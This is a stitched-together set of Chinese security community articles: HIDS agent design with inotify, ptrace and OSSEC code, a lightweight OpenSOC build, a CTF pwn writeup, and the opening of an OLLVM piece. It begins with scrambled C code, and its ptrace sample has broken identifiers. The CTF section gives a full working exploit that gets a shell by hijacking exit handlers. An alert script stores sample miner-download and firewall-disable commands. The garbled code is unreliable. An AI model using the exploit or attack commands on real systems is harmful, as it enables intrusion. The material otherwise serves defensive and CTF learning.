for (i=0; i<WD_NUM; wd="inotify_add_watch(fd," add (event- if { len) < buffer) - *)event (((char while *)buffer; inotify_event event len); len='%d.\n",' happens, printf(?Some offset="buffer;" MAX_BUF_SIZE)) buffer, while(len="read(fd," } wd_array[i].wd="wd;" exit(-1); wd_array[i].name); %s.\n?, for watch printf(?Can?t 0) (wd IN_ALL_EVENTS); wd_array[i].name, wd_array[i].name="monitored_files[i];" i++)>mask & IN_ISDIR) {
memcpy(strbuf, "Direcotory", 11);
}
else {
memcpy(strbuf, "File", 5);
}
printf("Object type: %s\n", strbuf);
for (i=0; iwd != wd_array[i].wd) continue;
printf("Object name: %s\n", wd_array[i].name);
break;
}
printf("Event mask: %08X\n", event->mask);
for (i=0; imask & (1<len;
event = (struct inotify_event *)(offset + tmp_len);
offset += tmp_len;
}
}
}
#### b.进程监控
其实进程监控有很多种方法，比如说：
1. 使用inotify实时监控/proc下面的文件变动即可（有可能进程启动、结束太快来不及读取文件内容从而没捕捉到必要信息）
2. 使用ptrace监控所有进程的fork/clone/vfork/execve/exit/exit_group等系统调用（对系统性能影响太大）
3. 写内核模块，hook一些关键的地方。想简单一些的话可以定时过task_struct的链表（从init_task开始）
对于进程监控来说，第一种方法比较容易实现，第三种方法如果系统出于安全考虑，设置禁用了一些insmod，这样的话就不太好办了
ptrace的原型是这样的：
#include<sys/ptrace>
long int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data)
这里面有四个参数，其中，request决定ptrace做什么，pid是被跟踪进程的ID，data存储从进程空间偏移量为addr的地方开始将被读取/写入的数据。
我们还是写一段代码来当注释看吧：
#include <stdio.h>
#include <stdlib.h>
#include <singal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
int main(void)
{
long long counter = 0;
int wait_val;
int pid;
put("elknot@360corpsec says: Wait a Moment");
switch(pid=fork())
{
case -1: perror("fork");break;
case 0: {
ptrace(PTRACE_TRACEME, 0, 0, 0);
excel("/bin/ls", "ls", NULL);
break;
}
default: {
wait(&wait_val);
while(wait_val == 1047)
{
counter++
if(ptrace(PTRACE_SINGLESTEP, pid, 0, 0) != 0)
perror("ptrace");
wait(&wait_val);
}
}
printf("Number of Machine instructions: %lld\n", counter);
return 0;
}
}
这个例子的意思是：开始的时候子进程开始运行，调用exec后移花栽木，这时子进程的原进程(也就是未调用exec之前的进程)因为要被杀死了，会向父进程发送一个SIGTRAP信号。父进程此刻一直阻塞等待(也就是第一条wait(&wait_val);语句)。当父进程捕获到SIGTRAP信号，这个时候知道子进程已经结束了。此时，父进程通过request值为PTRACE_SINGLESTEP的ptrace调用来告诉操作系统重新唤醒子进程，但是在每条机器指令运行之后暂停。紧接着，父进程阻塞等待子进程暂停(wait_val
== 1407等价于WIFSTOPPED(wait_val))并计数。子进程结束(这里不是暂停，对应的是WIFEXITED)后，父进程跳出loop循环。
进程监控大概就是这么个思路，这里可以参考：<https://www.cnblogs.com/mooreliu/p/4850017.html，这段代码来自于这里。>
#### c.日志摆渡
所谓日志摆渡指的是通过Agent在终端将终端里面的日志导出至Agent服务端，然后由控制台进行检索。
这里我们先来以Linux操作系统为例，说一下需要摆渡的日志：
系统日志：
/var/log/boot.log：录了系统在引导过程中发生的事件，就是Linux系统开机自检过程显示的信息
/var/log/lastlog ：记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages ：记录Linux操作系统常见的系统和服务错误信息
/var/log/secure ：Linux系统安全日志，记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp ：记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog：只记录警告信息，常常是系统出问题的信息，使用lastlog查看
/var/log/wtmp：该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件，使用last命令查看
/var/run/utmp：该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
连接时间日志：
/var/log/wtmp
/var/run/utmp
注：这里的日志不能直接用cat命令查看，可以通过w/who/finger/id/last/lastlog/ac进行查看
web服务器日志：
/var/log/nginx：Nginx日志默认位置
$TOMCAT_HOME\logs：Tomcat日志位置
/usr/local/apache/logs/access_log：Apache日志位置
/usr/local/apache2/logs：Apache2日志位置
通过将这些日志通过摆渡的方式放至Agent服务器，即可实现对终端关键日志的检索，例如我们可以使用fliebeat的方式通过Logstash收集日志，然后通过ES做检索，但是Logstash是不太适合Agent操作的，原因你懂的。读取日志的时候，可以用下面的函数去读取，以OSSEC下读取syslog为例：
void *read_syslog(int pos, int *rc, int drop_it)
{
int __ms = 0;
char *p;
char str[OS_MAXSTR + 1];
fpos_t fp_pos;
str[OS_MAXSTR] = '\0';
*rc = 0;
/* Get initial file location */
fgetpos(logff[pos].fp, &fp_pos);
while (fgets(str, OS_MAXSTR - OS_LOG_HEADER, logff[pos].fp) != NULL) {
/* Get the last occurrence of \n */
if ((p = strrchr(str, '\n')) != NULL) {
*p = '\0';
}
/* If we didn't get the new line, because the
* size is large, send what we got so far.
*/
else if (strlen(str) >= (OS_MAXSTR - OS_LOG_HEADER - 2)) {
/* Message size > maximum allowed */
__ms = 1;
} else {
/* Message not complete. Return. */
debug1("%s: Message not complete. Trying again: '%s'", ARGV0, str);
fsetpos(logff[pos].fp, &fp_pos);
break;
}
#ifdef WIN32
if ((p = strrchr(str, '\r')) != NULL) {
*p = '\0';
}
/* Look for empty string (only on Windows) */
if (strlen(str) <= 2) {
fgetpos(logff[pos].fp, &fp_pos);
continue;
}
/* Windows can have comment on their logs */
if (str[0] == '#') {
fgetpos(logff[pos].fp, &fp_pos);
continue;
}
#endif
debug2("%s: DEBUG: Reading syslog message: '%s'", ARGV0, str);
/* Send message to queue */
if (drop_it == 0) {
if (SendMSG(logr_queue, str, logff[pos].file,
LOCALFILE_MQ) < 0) {
merror(QUEUE_SEND, ARGV0);
if ((logr_queue = StartMQ(DEFAULTQPATH, WRITE)) < 0) {
ErrorExit(QUEUE_FATAL, ARGV0, DEFAULTQPATH);
}
}
}
/* Incorrect message size */
if (__ms) {
// strlen(str) >= (OS_MAXSTR - OS_LOG_HEADER - 2)
// truncate str before logging to ossec.log
#define OUTSIZE 4096
char buf[OUTSIZE + 1];
buf[OUTSIZE] = '\0';
snprintf(buf, OUTSIZE, "%s", str);
merror("%s: Large message size(length=%d): '%s...'", ARGV0, (int)strlen(str), buf);
while (fgets(str, OS_MAXSTR - 2, logff[pos].fp) != NULL) {
/* Get the last occurrence of \n */
if (strrchr(str, '\n') != NULL) {
break;
}
}
__ms = 0;
}
fgetpos(logff[pos].fp, &fp_pos);
continue;
}
return (NULL);
}
#### d.策略推送
我们如果对服务器进行大批量的操作的时候，一个一个ssh上去显然是不现实的，所以这里可以利用Agent做策略推送，诸如修改防火墙策略。其实这里就类似于写一个后门，用Rootkit实现比较靠谱。由于众所周知的原因，这里我就不放代码了。
#### e.Agent存活性检测
如何保证Agent正确运行于服务器上，这里就存在一个Agent存活性检测的问题，OSSEC这里其实提供了monitor_agents()函数用来监控Agent的状态，代码如下：
void monitor_agents()
{
char **cr_agents;
char **av_agents;
av_agents = get_agents_with_timeout(GA_ACTIVE, mond.notify_time);
/* No agent saved */
if (!mond.agents) {
mond.agents = av_agents;
return;
}
/* Check if any of the previously available agents are disconnected */
cr_agents = mond.agents;
while (*cr_agents) {
int available = 0;
char **tmp_av;
tmp_av = av_agents;
while (tmp_av && *tmp_av) {
if (strcmp(*cr_agents, *tmp_av) == 0) {
available = 1;
break;
}
tmp_av++;
}
/* Agent disconnected */
if (available == 0) {
char str[OS_SIZE_1024 + 1];
/* Send disconnected message */
snprintf(str, OS_SIZE_1024 - 1, OS_AG_DISCON, *cr_agents);
if (SendMSG(mond.a_queue, str, ARGV0,
LOCALFILE_MQ) < 0) {
merror(QUEUE_SEND, ARGV0);
}
}
cr_agents++;
}
/* Remove old agent list and add current one */
free_agents(mond.agents);
mond.agents = av_agents;
return;
}
p.s. 先暂时想到这么多吧，其他的由于众所周知的原因不太好网上写。
### 2.日志格式化
前面Agent写的差不多了，但是由于我们要统一进数据库方便后面Spark的分析、TensorFlow的机器学习和ES的检索以及DashBoard的输出，我们必须得把数据结构统一化才可以，数据结构的统一化其实是一个比较麻烦的事儿，一般情况下我们可以将数据结构设置为如下，以方便检索(有用众所周知的原因，这事儿不能说太细)：
{
"type": "agent_log",
"data":
{
"agent_id":"e84c3f67464b7d3358a99bc232a6761a",
"server_ip":"192.168.1.101"，
"server_mac":"00-00-00-00-00-00",
"server_tag":"nginx-01-payment",
"server_log":
{
"log_type":"syslog",
"log_path":"/var/log/system.log",
"log_time":"2017-12-06 1:00:00",
"log_user":"bogon"
"log_data":"com.apple.xpc.launchd[1] (com.apple.preference.displays.MirrorDisplays)",
"mailious_tag": "FALSE"
}
}
}
这样的话将日志存放到数据库中，我们可以直接进行分析和检索，而且JSON的好处显而易见。
### 3.数据可视化与信息推送
这一部分主要是把Agent的数据进行可视化输出，这里输出的话都集中在DashBoard，如果DashBoard只需要做数据分析的话，可以不用Django/Flask这种去做一个轻量化的后台管理界面，只需要用Kibana进行数据和可视化展示。
数据可视化这部分着重在强调突出异常数据的展示和潜在风险，以方便安全运营工程师及时排查终端的问题，同时可以很方便去做健康度检测和监视。
另外一点就是推送Agent紧急情况的信息，主流的推送方式包括邮件、微信、短信，但是根据实际应用的情况来看，建议优先考虑邮件，其次考虑微信，最后考虑短信。邮件更方便于取证和存档，微信重在及时性。邮件推送的话可以简单利用Python脚本来实现：
# Written By Jeremy Li of Qihoo 360 ESG
#coding: utf-8
import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr
# Dangerous Command Mark
marked_tag = "style=color:#F00"
#[config]
my_sender = 'YOUR_MAILPUSH'
sender_password = 'YOUR_PASSWORD'
my_user = '[email protected]'
attacker_ip = "192.168.1.1"
#Sample Behavior
attack_behavior = [
{
"type":"mal_command",
"data":"root@honeynet-01# wget http://xx.xx.xx.xx/xmr"
},
{
"type":"mal_command",
"data":"root@honeynet-01# service iptables stop"
},
{
"type":"mal_command",
"data":"root@honeynet-01# ./xmr &"
}
]
yara_rule = "ELF.BitMiner"
smtp_host = 'MAIL_ISP'
smtp_port = 0
def mail_content():
content = "<p>Hi elknot@360corpsec:</p><br>"
content += "<br>"
content += "<p>Your Server is being attacked by "+ attacker_ip + " </p><br>"
content += "<p>Attack Behavior:<p><br>"
for i in range(len(attack_behavior)):
content += "<p " + marked_tag + ">" + attack_behavior[i] + "<p><br>"
content += "<br>"
content += "<p>Attack Concerned:</p><br>"
content += "<p " + marked_tag + ">" + yara_rule + "</p>"
content += "<br>"
return content
def mail():
ret = True
try:
text = mail_content()
msg = MIMEText(text,'html','utf-8')
msg['From'] = formataddr(['BI Tracker', my_sender])
msg['To'] = formataddr(['elknot@360corpsec', my_user])
msg['Subject'] = 'HoneyPot is over Attacked!'
print msg
smtp = smtplib.SMTP(smtp_host, smtp_port)
smtp.set_debuglevel(True)
smtp.starttls()
smtp.login(my_sender, sender_password)
smtp.sendmail(my_sender, my_user, msg.as_string())
smtp.close()
except smtplib.SMTPException as e:
print e
ret = False
return ret
ret = mail()
if ret:
print("ok")
else:
print("failed")
这样就完成了一个简单的邮件通知，这里需要注意邮件服务配置的问题，防止敏感信息泄露。比如下面这个图，其实这个是自己弄的一个基于Agent+Server模式的蜜罐推送的邮件（有时间再说）。
微信的话，在github上有个开源的wxBot，可以用作微信通知：
#!/usr/bin/env python
# coding: utf-8
from wxbot import *
class MyWXBot(WXBot):
def handle_msg_all(self, msg):
if msg['msg_type_id'] == 4 and msg['content']['type'] == 0:
self.send_msg_by_uid(u'hi', msg['user']['id'])
#self.send_img_msg_by_uid("img/1.png", msg['user']['id'])
#self.send_file_msg_by_uid("img/1.png", msg['user']['id'])
def schedule(self):
self.send_msg(u'elknot@360corpsec', u'Hi,Boss!')
time.sleep(1)
def main():
bot = MyWXBot()
bot.DEBUG = True
bot.conf['qr'] = 'png'
bot.run()
if __name__ == '__main__':
main()
### 4.操作的检索
在检索之前，应该将数据库中的信息进行清洗后才能放入Spark做数据分析，当然也跟某大佬交换过意见，意见是，TensorFlow那里其实也可以放到Spark那部分去做，因为在Spark里面分析的时候直接将受影响的命令标红就OK了，但是跟据我的经验来看，有一些多一层TensorFlow的目的在于区分一些看起来不像是攻击的攻击，或者是去区分扫描器和真人攻击，再或者。。。（众所周知的原因）。在检索的时候，可以使用gc或者是t调整lucene
cache为filter
cache来为ES做优化，检索资源优化产生的原因是因为Lucene索引的时候只能一个线程工作，而且lucene会根据索引段合并去提高查询的效率，如果数据量过大，合并操作会浪费大量时间，造成数据会挤压在内存里。
具体怎么样检索或者是如何检索，由于众所周知的原因大家看着来吧。
## 0x02 与SIEM对接
HIDS平台作为内网安全设施的一部分，势必要进行日志集中化管理，之前也说过，如果日志源过多，就必须要要做日志集中化管理，也就是传说当中的上SIEM。所以HIDS要留出来API去让SIEM检索当前的日志，这里我们就一切从简的来一个SIEM，同时结合情报做自查。
说一下流程，HIDS中的数据通过前置Agent（和HIDS Agent不是一回事）将日志摆渡到SIEM的Log
Collector（日志收集器）中，然后配合情报数据进行检索，检查日志中是否有与情报匹配的Server，如果有，则通过Agent向HIDS的消息队列里面推送任务进行操作（比如说利用YARA规则匹配是否真正为中招的文件）。
## 0x03 小结
由于众所周知的原因，这篇文章里面的东西不能够直接作为HIDS去用，暂且算是为大家提供一种思路吧，如果有异议者欢迎在群里与我讨论，我定会一一回答。
顺便打个广告，360观星实验室常年招人，欢迎各位投简历，简历请发送至[email protected]或者[email protected] | 社区文章 |
## 关于OpenSOC
OpenSOC是思科在BroCON大会上亮相了的一个安全大数据分析架构，它是一个针对网络包和流的大数据分析框架，它是大数据分析与安全分析技术的结合,
能够实时的检测网络异常情况并且可以扩展很多节点，它的存储使用开源项目Hadoop，实时索引使用开源项目ElasticSearch，在线流分析使用著名的开源项目Storm。
但是其部署上和使用上可能对于大部分中小企业来说，消耗的资源和精力可能有点过于庞大。本文着重介绍如何轻量级实现OpenSOC框架，即使日后升级或者添加了SEIM也可以快速迁入。
## OpenSOC介绍
我们先来看一下 OpenSOC 框架
### OpenSOC框架组成
OpenSOC框架主要包括六个部分
* 数据来源（Source Systems）
* 数据收集（Data Collection）
* 消息通知（Messaging System）
* 实时处理（Real Time Processing）
* 数据存储（Storage）
* 访问接口（Access）
### OpenSOC的工作流程：
**数据收集组件** 从 **数据来源** 收集日志等数据然后推送到 **消息通知组件** ，
通过 **消息通知组件** 分发给对应的 **实时处理组件**
由 **实时处理组件** 处理完后保存到 **数据存储组件** 中
最后由 **访问接口** 提供的API或者UI等供给用户查看或者调用
## 构建OpenSOC
### 使用的场景
本文将根据以下场景来构建OpenSOC。
* 有多台Centos的WEB服务器
* 需要获取所有的WEB服务器的访问日志
* 推送到后台的规则匹配和机器学习分析部分
* 用来判断和显示当前的访问情况
**注：** 如果有其他的数据源，配置好数据收集组件进行收集即可
此处只针对大部分的日志文件进行推送和处理，
### 工具和架构
由于是轻量级的框架，所以在架构上会稍微调整。
* 数据来源（/var/log/httpd/*_log）
* 这里收集的是web服务器的日志。有其他的日志也是同样处理
* 数据收集
* 这里采用了Filebeat 一个轻量级的数据收集器
* 感兴趣的也可以用logstash，不过性能损耗比Filebeat多
* 消息通知
* 这里可以选择的很多 kafka，logstash
* 但是由于轻量级 我们直接使用 Filebeat的推送
* 实时处理
* 这里调用python写的处理脚本
* 正则处理脚本
* 机器学习模型
* 数据存储
* 实时存储 Elasticsearch
* 保存日志源记录
* 结果存储 mysql
* 分析的结果
* 预先规则
* 其他配置信息
* 接口和展示
* flask写的一个简易管理后台
整个系统结构如图：
## 搭建步骤
### 数据源
* 使用的服务器是centos6.9
* 直接安装 php apache mysql等
* 开启日志记录
* 安装web应用
* dvwa
* phpmyadmin
* ...等
### 日志数据采集收集和推送
* 使用RPM安装FileBeat(Elasticseach的安装也是一样)
* 导入 rpm --import <https://artifacts.elastic.co/GPG-KEY-elasticsearch>
* 编辑 elasticsearch.repo
[elasticsearch-6.x]
name=Elasticsearch repository for 6.x packages
baseurl=https://artifacts.elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md
* yum install filebeat -y
### 安装elasticsearch
* yum install elasticsearch -y
### 配置filebeat和elasticsearch
* vi /etc/filebeat/filebeat.yml #给filebeat添加数据源
filebeat.prospectors:
- input_type: log
paths: /var/log/httpd/access_log
output.elasticsearch:
hosts: ["IP:PORT"]
* vi /etc/filebeat/filebeat.yml #给filebeat添加数据源
* vi /etc/elasticsearch/elasticsearch.yml
* 添加 network.bind_host: 你的IP
* 访问一下一下刚才部署的网站
* 访问 elastcisearch/_cat/indices?v 查看是否有 **filebeat-**** 索引建成
* 访问 elastcisearch/filebeat- ***** /_search 查看刚才的访问记录是否已经同步到elastic search
### [注]
* filebeat的paths 可以添加多个
* 支持的类型具体可以自行查看filebeat的官方文档
### 分析和展示的UI
这里涉及的基本就是常规的网页编写和操作了。这里不具体展开。
大概说一下我写的思路和用到的组件
* 分析
* 写了日志文件 每10分钟调用一次脚本 load.py
* 脚本先判断数据是否有更新 有的话 调用分析的脚本 re_ana.py 和 knn_ana.py
* 正则是 re_ana.py
* 正则的规则存储在mysql中，通过人工添加
* 机器学习是 knn_ana.py
* 根据正则分析出来的数据 进行学习 学习完后 再去对新的数据进行分析
* 机器学习的模型用了最简单的分词+KNN去使用
* 为了降低分词带来的重复性很高的问题 添加了一个停用词表
* UI
* 用FLASK编写
* 模版用了elaadmin
## 最后效果如图
基础的OpenSoc框架搭建完成，下一篇会介绍一下
* 正则和机器学习的准确率比较
* 我编写的一个简单的机器学习的模型
* 如何低成本的搭建蜜罐和opensoc构建威胁情报 *（这个估计还会延后，资金不够） | 社区文章 |
# 广州强网杯pwn_mini WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这道题目是广州强网杯的一道题目，利用方式比较巧妙，题目给了两个字节溢出、和一个任意地址写，通过这些漏洞可以有一些利用的方法，但是有一种方法是很巧妙的，也是出题人想让我们利用的方式，程序本身预置了后门函数，后门函数以`test`身份重启了自身，然后exit了，而`test`身份是有一个任意地址写的。
## 分析
程序经过ida分析后，发现程序有两个参数运行，一个是`test`，一个`real`，test会有一个任意地址写，real会进入主程序。test任意写如下：
void __noreturn sub_1CB0()
{
char *s[7]; // [rsp+0h] [rbp-38h] BYREF
s[1] = (char *)__readfsqword(0x28u);
puts("[+] Test remote IO.");
__printf_chk(1LL, "Where: ");
s[0] = 0LL;
input(s, 8LL);
__printf_chk(1LL, "Input: ");
input(s[0], 144LL);
__printf_chk(1LL, "Output: ");
puts(s[0]);
exit(0);
}
real主程序如下：
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
const char *v4; // rbp
const char *v5; // r15
int v6; // ebx
__int128 buf; // [rsp+110h] [rbp-58h] BYREF
unsigned __int64 v8; // [rsp+128h] [rbp-40h]
v8 = __readfsqword(0x28u);
if ( a1 != 2 )
goto LABEL_2;
sub_16C0();
v4 = a2[1];
if ( !strcmp(v4, "test") )
sub_1CB0();
if ( strcmp(v4, "real") )
{
LABEL_2:
puts("Invalid.");
exit(0);
}
sub_1770();
buf = 0LL;
*(_QWORD *)&::buf[48] = a3; //envp
*(_QWORD *)&::buf[56] = a2;
__printf_chk(1LL, "User: ");
input(&buf, 13LL);
if ( !strcmp((const char *)&buf, "Administrator") )
{
puts("Login failed!");
exit(0);
}
puts("Login successful!");
while ( 1 )
{
LABEL_7:
v5 = aAddCard;
v6 = 0;
sub_1C20(); // menu
input(::buf, 50LL); // 2 bytes overflow can overflow envp
while ( strcmp(::buf, v5) )
{
++v6;
v5 += 16;
if ( v6 == 6 )
{
puts("Illegal.");
goto LABEL_7;
}
}
off_4080[v6](); // 函数的数组
}
}
主程序将a3(envp)放到了buf[48]的位置，但是在输入buf的时候大小是50，存在2字节溢出可以覆盖envp，menu所涉及的函数如下
.data:0000000000004080 off_4080 dq offset add_card ; DATA XREF: main+102↑o
.data:0000000000004088 dq offset Remove_Card
.data:0000000000004090 dq offset Write_Card
.data:0000000000004098 dq offset Read_Card
.data:00000000000040A0 dq offset Bye_bye
.data:00000000000040A8 dq offset sub_15C0 ; gift
.data:00000000000040A8 _data ends
add函数如下：
int add_card()
{
int v0; // ebx
_QWORD *i; // rax
int v2; // ebp
__int64 v3; // rax
void *v4; // rax
int *v5; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-20h]
v0 = 0;
v7 = __readfsqword(0x28u);
for ( i = &unk_4140; i[1] || *(_DWORD *)i; i += 2 )
{
if ( ++v0 == 16 )
return __readfsqword(0x28u) ^ v7;
}
__printf_chk(1LL, "Size: ");
v2 = input_size();
if ( (unsigned int)(v2 - 17) > 0x4F )
return __readfsqword(0x28u) ^ v7;
v4 = calloc(1uLL, v2);
v5 = (int *)((char *)&unk_4140 + 16 * v0);
*((_QWORD *)v5 + 1) = v4;
if ( !v4 )
exit(-1);
*v5 = v2;
__printf_chk(1LL, "Card: ");
input(*((void **)v5 + 1), *v5);
LODWORD(v3) = puts("OK.");
return v3;
}
__int64 input_size()
{
char v1[24]; // [rsp+0h] [rbp-28h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-10h]
v2 = __readfsqword(0x28u);
*(_OWORD *)v1 = 0LL;
*(_QWORD *)&v1[16] = 0LL;
input(v1, 25LL); // 1 byte overflow
return strtol(v1, 0LL, 10);
}
这里input size有一字节溢出。此外程序还有一个隐藏的gift函数，可以泄露栈地址的最后两个字节
unsigned __int64 sub_15C0()
{
int v1; // ebp
int v2; // eax
int v3; // edx
int buf; // [rsp+4h] [rbp-24h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-20h]
v5 = __readfsqword(0x28u);
if ( !unk_4120 )
{
unk_4120 = 1;
v1 = open("/dev/urandom", 0);
read(v1, &buf, 4uLL);
close(v1);
v2 = buf & 3;
switch ( v2 )
{
case 2:
buf = 0xFFF;
v3 = 0xFFF;
break;
case 3:
buf = 0xFFFF;
v3 = 0xFFFF;
break;
case 1:
buf = 0xFF;
v3 = 0xFF;
break;
default:
buf = 0xF;
v3 = 0xF;
break;
}
__printf_chk(1LL, "Gift: %d\n", (unsigned int)&buf & v3); // 2 bytes leak stack
}
return __readfsqword(0x28u) ^ v5;
}
除此之外，可以在程序初始化中有一个backdoor函数，可以以test参数重启程序，获得一次任意写能力：
unsigned int sub_16C0()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
signal(6, (__sighandler_t)handler); <----backdoor>
signal(14, (__sighandler_t)sub_14D0);
return alarm(0x28u);
}
void __noreturn handler() //以test重启自身
{
__int64 v0; // rax
char v1[88]; // [rsp+0h] [rbp-78h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-20h]
v2 = __readfsqword(0x28u);
v0 = *(_QWORD *)&buf[56];
if ( v0 )
{
**(_DWORD **)(v0 + 8) = 0x74736574; // test 参数
*(_OWORD *)v1 = 0LL;
*(_OWORD *)&v1[16] = 0LL;
*(_OWORD *)&v1[32] = 0LL;
*(_OWORD *)&v1[48] = 0LL;
*(_OWORD *)&v1[64] = 0LL;
readlink("/proc/self/exe", v1, 79uLL); //复制符号到v1
execve(v1, *(char *const **)&buf[56], *(char *const **)&buf[48]);// 重新执行程序
exit(0); // 退出
}
exit(-1);
}
## 利用思路
经过整理这些漏洞和后门，可以整理这样一个利用思路：
**LD_DEBUG=all** 这个环境变量，预示着程序执行时打印loader的信息，通过里面的信息可以获取libc地址。
首先利用 gift 功能泄露栈地址最后 2 字节，然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp
指针的最后2字节，使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发
abort，从而使得程序重启并进入后门（此时相当于控制了环境变量为 LD_DEBUG=all）。
│ 0x55a99e08559f mov rdi, rbp
► 0x55a99e0855a2 call execve@plt <execve@plt>
path: 0x7ffd0ba916c0 ◂— '/home/yrl/exp/mini'
argv: 0x7ffd0ba92348 —▸ 0x7ffd0ba93117 ◂— 0x7400696e696d2f2e /* './mini' */
envp: 0x7ffd0ba920f0 —▸ 0x7ffd0ba92200 ◂— 'LD_DEBUG=all'
0x55a99e0855a7 xor edi, edi
程序在重启时，就会打印调试信息，泄露libc地址，由于 libc 2.31 的 one_gadget 已经无法使用，所以最后利用任意地址写去劫持
exit_handlers 函数。
exit_handlers其实是用的stl结构，因为exit_handlers会用到stl结构，其中在__call_tls_dtors中会有一个call
rax;的调用，在此之前我们只要将eax修改为system，再将其参数修改为‘/bin/sh’就行。往上追溯可以看到eax是由
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
控制，我们可以通过栈控制rax为0，然后`fs:[0x30]`为system地址就行，参数rdi通过`mov rdi, qword ptr [rbp +
8]`控制，改为`/bin/sh`，所以就可通过call
rax;来getshell，值得注意的是fs寄存器我们看不了，就要确定`fs:[0x30]`到底在哪里，这就需要一定的经验，大致知道 tls 在mapped
那段地址上（即libc最后的那段没有名字的地址段上），exp的target的偏移是在`fs:[0x30]`附近，通过布栈根据target便宜来找`fs:[0x30]`具体在哪里，具体这个偏移只能不同版本，慢慢靠经验找；现在
glibc2.31 还是固定的，很好找，以前 2.27 每次重启都会变，所以打远程还要爆破
## exp
# -*- coding: UTF-8 -*- from pwn import *
context.log_level = 'debug'
#context.terminal = ["/usr/bin/tmux","sp","-h"]
# io = remote('127.0.0.1', 49158)
# libc = ELF('./libc-2.31.so')
io = process(['./mini', 'real'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
sla('User: ', 'LD_DEBUG=all') # 将LD_DEBUG=all放到栈上
# dbg()
# pause()
sla('>> ', '+_@*@&!$') # 触发后门gift，获取栈的最后两个字节
ru('Gift: ') # leak stack 2bytes
re = int(rl(), 10)
lg('re')
offset = re + 0x2c # 通过泄露的两个字节确定LD_DEBUG=all的位置
lg('offset')
assert(offset & 0xf000) # 确保两个字节
sa('>> ', 'A'*0x30+p16(offset)) # modify stack address envp (2bytes)-> LD_DENUG=all 通过两个字节溢出修改envp的最后两个字节使其指向LD_DEBUG=all
sla('>> ', 'Read_Card')
# dbg()
# pause()
sa('Index: ', 'B'*0x19) # 1byte onerflow -> trigger abort 通过一字节溢出修改返回地址为非法地址，触发abort，使系统捕获异常进入后门函数，重启以test参数程序
ru('file=libc.so.6 [0];') # test参数重启时打印debug信息，泄露libc，之后会有一个任意地址写
ru('base: ')
libc_base = int(ru(' size:'), 16)
lg('libc_base')
'''
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11
0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
0x7f9c9bd98435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7f9c9bd98439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
► 0x7f9c9bd9843d <__call_tls_dtors+61> call rax <system>
command: 0x7f9c9bf41568 ◂— 0x68732f6e69622f /* '/bin/sh' */
'''
target = libc_base + 0x1f34e8 # exit_handlers-> __call_tls_dtors->call rax; 确定劫持位置附近，通过偏移找到fs:[0x30]，和rbp+8的位置，在rbp+8位置写入指向/bin/sh的指针
lg('target')
sla('Where: ', p64(target)[:-1])
paylaod = p64(target+0x70)
paylaod += 14*p64(0)
paylaod += p64(target+0x80)
paylaod += '/bin/sh\x00'
paylaod += p64(libc_base + libc.sym['system'])
sla('Input: ', paylaod[:-1])
irt() | 社区文章 |
**前言**
* * *
在上一篇中我们讲过MOV混淆和SMC自解码，这两种反静态分析的手段在中等偏难的题目中会遇见。但是在今天的文章中我们会讲解到LLOM这种工业级的混淆方式，在CTF题目中也是很常见的，为此我们要来分析LLOM混淆。除此之外，讲解了常见的混淆模式，在第六节中我们会去探索一些不太常见的反静态分析手段。同时预报一下，在我的下一个系列中会分析《CTF中的反动态调试》的相关技术。
**第五节 OLLVM混淆（LLOM）**
**什么是LLVM？**
LLVM是构架编译器(compiler)的框架系统，以C++编写而成，用于优化以任意程序语言编写的程序的编译时间(compile-time)、链接时间(link-time)、运行时间(run-time)以及空闲时间(idle-time)，对开发者保持开放，并兼容已有脚本。
LLVM计划启动于2000年，最初由美国UIUC大学的Chris Lattner博士主持开展。2006年Chris Lattner加盟Apple
Inc.并致力于LLVM在Apple开发体系中的应用。Apple也是LLVM计划的主要资助者。
目前LLVM已经被苹果IOS开发工具、Xilinx Vivado、Facebook、Google等各大公司采用。（源自百度百科的解释）
而我们的主题并不是llvm这个架构编译器，而是基于这个架构编译器的obfuscator-llvm。
为了不重复造轮子，我就不会解释OLLVM。
在下面我推荐两篇文章：大家在看之前，请先浏览这两篇文章。
<https://security.tencent.com/index.php/blog/msg/112>
<https://xz.aliyun.com/t/4960>
